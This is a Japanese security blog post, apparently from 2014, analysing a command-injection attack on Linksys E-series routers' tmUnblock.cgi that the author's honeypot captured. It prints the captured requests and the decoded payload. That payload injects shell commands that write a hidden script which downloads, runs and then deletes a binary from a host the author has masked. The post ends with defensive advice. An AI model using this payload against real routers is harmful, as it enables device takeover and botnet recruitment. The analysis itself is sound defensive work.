www.morihi-soc.net

セキュリティの話題を中心に取扱中

ハニーポット観察記録(21)

こんにちは! 最近,オリジナルハニーポットを作っているハニーポッターです.

今回は作成しているオリジナルハニーポットで検知した攻撃を紹介します.


検知した攻撃は,Linksys ルータの E シリーズに報告された脆弱性を狙ったものでした.


 

攻撃は2段階にわかれてきました.

1回目のアクセス

GET /tmUnblock.cgi HTTP/1.1

 

2回目のアクセス

POST /tmUnblock.cgi HTTP/1.1
content-length: 1033

%73%75%62%6d%69%74%5f%62%75%74%74%6f%6e%3d&%63%68%61%6e%67%65
%5f%61%63%74%69%6f%6e%3d&%61%63%74%69%6f%6e%3d&%63%6f%6d%6d%69
%74%3d&%74%74%63%70%5f%6e%75%6d%3d%32&%74%74%63%70%5f%73%69%7a
%65%3d%32&%74%74%63%70%5f%69%70%3d%2d%68%20%60%63%64%20%2f%74
%6d%70%3b%65%63%68%6f%20%22%23%21%2f%62%69%6e%2f%73%68%22%20%3e
%20%2e%32%65%33%35%34%38%63%31%2e%73%68%3b%65%63%68%6f%20%22
%77%67%65%74%20%2d%4f%20%2e%32%65%33%35%34%38%63%31%20%68%74
%74%70%3a%2f%2f■みせられないよ■%3a%33%32%30%30%22%20%3e%3e%20%2e%32
%65%33%35%34%38%63%31%2e%73%68%3b%65%63%68%6f%20%22%63%68%6d
%6f%64%20%2b%78%20%2e%32%65%33%35%34%38%63%31%22%20%3e%3e%20
%2e%32%65%33%35%34%38%63%31%2e%73%68%3b%65%63%68%6f%20%22%2e
%2f%2e%32%65%33%35%34%38%63%31%22%20%3e%3e%20%2e%32%65%33%35
%34%38%63%31%2e%73%68%3b%65%63%68%6f%20%22%72%6d%20%2e%32%65
%33%35%34%38%63%31%22%20%3e%3e%20%2e%32%65%33%35%34%38%63%31
%2e%73%68%3b%63%68%6d%6f%64%20%2b%78%20%2e%32%65%33%35%34%38
%63%31%2e%73%68%3b%2e%2f%2e%32%65%33%35%34%38%63%31%2e%73%68
%60&%53%74%61%72%74%45%50%49%3d%31

※一部の情報を意図的に伏せています.また1行が長いため,改行をいれています.

1回目のアクセスは tmUnblock.cgi というファイルの存在確認のためのアクセスだと考えられます.オリジナルハニーポットは,このリクエストに対して「200 OK」の応答を返しました.

そうすると2回目のアクセスがありました.POST のボディ部分は URL エンコードされています.これをデコードし,適度に改行を入れたものを下記に示します.

submit_button=&change_action=&action=&commit=&ttcp_num=2&ttcp_size=2&
ttcp_ip=-h
cd /tmp;
echo "#!/bin/sh" > .2e3548c1.sh;
echo "wget -O .2e3548c1 http://■みせられないよ■:3200" >> .2e3548c1.sh;
echo "chmod +x .2e3548c1" >> .2e3548c1.sh;
echo "./.2e3548c1" >> .2e3548c1.sh;
echo "rm .2e3548c1" >> .2e3548c1.sh;
chmod +x .2e3548c1.sh;
./.2e3548c1.sh
&StartEPI=1

ttcp_ip というパラメータに脆弱性があるようで,シェルスクリプトを作成し,実行するというコマンドが埋め込まれています.

作成されるファイルは,シェルスクリプトそのもの「 .2e3548c1.sh」と wget コマンドにより,外部から取得される「.2e3548c1」の2つです.

両方とも.(ドット)から始まるファイル名のため,隠しファイルですね.通常の ls コマンドでは表示されず,ls コマンドオプションの「-a」をつけることによって表示されます.

wget コマンドによる,外部から取得されるファイルについても解析しようとしました.しかし,この攻撃を検知してから30分ほど後にアクセスした際には,既に配布元のポートが閉じられており,入手することはできませんでした.

意図的にポートを閉じたのかそれとも,最初からポートを開けていなかったのかは不明です.前者の場合は,私のように後追いで攻撃内容の解析を防ぐ目的で実施されるということが推測されます.後者の場合は,C&C サーバを失った哀れなボットが延々と攻撃を繰り返しているということが推測されます.

なお両方のアクセスとも,HTTP/1.1 なのに Host ヘッダが入っておらず,HTTP のリクエストとしては壊れています.またダウンロードしたファイルは rm コマンドで削除をするようにしていますが,シェルスクリプトそのものは削除しない手順になっています.これらの要因から攻撃スクリプトの質は高いといえません.

 

最後に対策案です.

脆弱性自体は今年の2月に公開されたものであるため,既に対策済みの方が多いと思いますが,ソフトウェアやファームウェアのアップデートをしましょう.

また Linksys ルータに限りませんが,管理画面をインターネットのどこからでもアクセス可能にするメリットはありません.ファイアウォールにて,信頼できるネットワーク外からの管理画面へのアクセスは拒否するようにすることを推奨します.

なおこのアクセス制限は,(例えば今回の事例のように)個別の脆弱性が存在した場合のリスクを低減できる以外にも,先月から話題になっている Bash の脆弱性を狙った攻撃の影響を緩和することが見込まれます.なぜなら外部から Bash の脆弱性を狙った攻撃がきたとしても,ファイアウォールで叩き落とされ,cgi ファイルまで辿り着くことはできないためです.

※だからといって,アップデートをしないことを推奨しているわけではありません.

 

(ハニーポットかわいいよハニーポット)

 

参考情報
Multiple Linksys routers tmUnblock.cgi command execution
http://xforce.iss.net/xforce/xfdb/91196

 

Written by morihisa

10月 16th, 2014 at 11:01 pm